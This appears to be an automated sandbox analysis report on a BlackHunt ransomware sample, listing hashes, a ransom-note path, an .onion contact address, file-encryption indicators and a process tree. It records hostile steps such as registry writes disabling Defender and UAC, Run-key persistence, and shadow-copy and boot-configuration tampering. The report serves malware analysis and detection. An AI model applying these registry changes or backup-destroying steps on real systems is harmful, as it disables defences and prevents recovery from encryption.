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Analysis
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max time kernel
146s -
max time network
133s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 23:45
Static task
static1
Behavioral task
behavioral1
Sample
72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
Resource
win10v2004-20231215-en
General
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Target
72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
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Size
707KB
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MD5
393bfd6e375b284446bf8d0d451bd827
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SHA1
3f6ecf2636c3acd030f8a53ff1745984907bd835
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SHA256
72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c
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SHA512
e61d410d016254cb7e57bc6821e341c07a9277c656f34afa948a441c7d227730c7ef39acff4544f372a0ed17334e7b8123da21671f18697b2956bc32d67bd0e6
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1J83vnh:6uaTmkZJ+naie5OTamgEoKxLWMfh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 1020 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 2100 bcdedit.exe 1960 bcdedit.exe -
Renames multiple (2904) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 2984 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\W: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\E: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\Y: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\H: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\Z: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\N: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\U: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\I: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\J: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\A: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\K: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\L: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\X: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\M: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\Q: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\P: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\S: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\V: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\B: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\T: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\O: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\G: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\R: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\VideoLAN\VLC\plugins\video_splitter\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\CompleteRevoke.mpa 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_pt_BR.jar 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-autoupdate-services.xml 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\VideoLAN\VLC\locale\ro\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\DVD Maker\rtstreamsource.ax 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\#BlackHunt_Private.key 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\#BlackHunt_Private.key 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\#BlackHunt_Private.key 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\feature.xml 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Nassau 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\VideoLAN\VLC\plugins\#BlackHunt_ReadMe.hta 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\btn-next-static.png 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\#BlackHunt_Private.key 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Noumea 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-bootstrap.xml 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\VideoLAN\VLC\locale\ca\#BlackHunt_ReadMe.hta 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\#BlackHunt_ReadMe.hta 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Perth 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\VideoLAN\VLC\locale\sk\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\PassportMask_PAL.wmv 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jre7\lib\images\cursors\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-editor-mimelookup.jar 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\WET 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\#BlackHunt_ReadMe.hta 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\7-Zip\Lang\mr.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\locale\#BlackHunt_ReadMe.hta 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\#BlackHunt_ReadMe.hta 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.manipulator.nl_zh_4.4.0.v20140623020002.jar 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\#BlackHunt_Private.key 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Niue 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\#BlackHunt_Private.key 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\DVD Maker\it-IT\#BlackHunt_Private.key 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\7-Zip\Lang\hr.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\art\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Eucla 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\VideoLAN\VLC\locale\ne\#BlackHunt_ReadMe.hta 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\VideoLAN\VLC\plugins\gui\#BlackHunt_Private.key 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Godthab 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Indian\Chagos 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Brisbane 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Pitcairn 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\1047x576_91n92.png 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre7\lib\images\cursors\win32_LinkDrop32x32.gif 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.syntheticnotification.exsd 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-progress_ja.jar 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\VideoLAN\VLC\locale\af\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\VideoLAN\VLC\locale\br\#BlackHunt_Private.key 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files (x86)\Google\Update\1.3.36.151\#BlackHunt_ReadMe.hta 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\16_9-frame-highlight.png 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.mbeanbrowser.ja_5.5.0.165303.jar 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-autoupdate-cli.xml 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core_ja.jar 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-heapdump_zh_CN.jar 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\VideoLAN\VLC\locale\as_IN\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\VideoLAN\VLC\plugins\video_filter\#BlackHunt_ReadMe.hta 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\ECLIPSE_.SF 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.services.nl_zh_4.4.0.v20140623020002.jar 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler_ja.jar 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler.xml 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1400 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3064 vssadmin.exe 588 vssadmin.exe 1312 vssadmin.exe 2052 vssadmin.exe 2236 vssadmin.exe -
Modifies registry class 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe Token: SeRestorePrivilege 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe Token: SeBackupPrivilege 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe Token: SeTakeOwnershipPrivilege 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe Token: SeAuditPrivilege 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe Token: SeSecurityPrivilege 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe Token: SeIncBasePriorityPrivilege 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe Token: SeBackupPrivilege 2228 vssvc.exe Token: SeRestorePrivilege 2228 vssvc.exe Token: SeAuditPrivilege 2228 vssvc.exe Token: SeBackupPrivilege 1616 wbengine.exe Token: SeRestorePrivilege 1616 wbengine.exe Token: SeSecurityPrivilege 1616 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1896 wrote to memory of 2780 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 31 PID 1896 wrote to memory of 2780 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 31 PID 1896 wrote to memory of 2780 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 31 PID 1896 wrote to memory of 2780 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 31 PID 1896 wrote to memory of 2712 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 33 PID 1896 wrote to memory of 2712 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 33 PID 1896 wrote to memory of 2712 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 33 PID 1896 wrote to memory of 2712 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 33 PID 1896 wrote to memory of 2948 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 34 PID 1896 wrote to memory of 2948 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 34 PID 1896 wrote to memory of 2948 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 34 PID 1896 wrote to memory of 2948 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 34 PID 2780 wrote to memory of 2692 2780 cmd.exe 37 PID 2780 wrote to memory of 2692 2780 cmd.exe 37 PID 2780 wrote to memory of 2692 2780 cmd.exe 37 PID 1896 wrote to memory of 2416 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 38 PID 1896 wrote to memory of 2416 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 38 PID 1896 wrote to memory of 2416 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 38 PID 1896 wrote to memory of 2416 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 38 PID 1896 wrote to memory of 2732 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 40 PID 1896 wrote to memory of 2732 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 40 PID 1896 wrote to memory of 2732 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 40 PID 1896 wrote to memory of 2732 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 40 PID 1896 wrote to memory of 2852 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 42 PID 1896 wrote to memory of 2852 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 42 PID 1896 wrote to memory of 2852 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 42 PID 1896 wrote to memory of 2852 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 42 PID 2712 wrote to memory of 2912 2712 cmd.exe 44 PID 2712 wrote to memory of 2912 2712 cmd.exe 44 PID 2712 wrote to memory of 2912 2712 cmd.exe 44 PID 1896 wrote to memory of 3048 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 45 PID 1896 wrote to memory of 3048 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 45 PID 1896 wrote to memory of 3048 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 45 PID 1896 wrote to memory of 3048 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 45 PID 1896 wrote to memory of 2608 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 46 PID 1896 wrote to memory of 2608 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 46 PID 1896 wrote to memory of 2608 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 46 PID 1896 wrote to memory of 2608 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 46 PID 1896 wrote to memory of 2672 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 48 PID 1896 wrote to memory of 2672 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 48 PID 1896 wrote to memory of 2672 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 48 PID 1896 wrote to memory of 2672 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 48 PID 2948 wrote to memory of 2212 2948 cmd.exe 123 PID 2948 wrote to memory of 2212 2948 cmd.exe 123 PID 2948 wrote to memory of 2212 2948 cmd.exe 123 PID 1896 wrote to memory of 2556 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 49 PID 1896 wrote to memory of 2556 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 49 PID 1896 wrote to memory of 2556 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 49 PID 1896 wrote to memory of 2556 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 49 PID 2852 wrote to memory of 2576 2852 cmd.exe 50 PID 2852 wrote to memory of 2576 2852 cmd.exe 50 PID 2852 wrote to memory of 2576 2852 cmd.exe 50 PID 1896 wrote to memory of 2624 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 52 PID 1896 wrote to memory of 2624 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 52 PID 1896 wrote to memory of 2624 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 52 PID 1896 wrote to memory of 2624 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 52 PID 1896 wrote to memory of 2636 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 53 PID 1896 wrote to memory of 2636 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 53 PID 1896 wrote to memory of 2636 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 53 PID 1896 wrote to memory of 2636 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 53 PID 1896 wrote to memory of 3024 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 55 PID 1896 wrote to memory of 3024 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 55 PID 1896 wrote to memory of 3024 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 55 PID 1896 wrote to memory of 3024 1896 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 55 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe"C:\Users\Admin\AppData\Local\Temp\72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1896 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2780 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2692
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
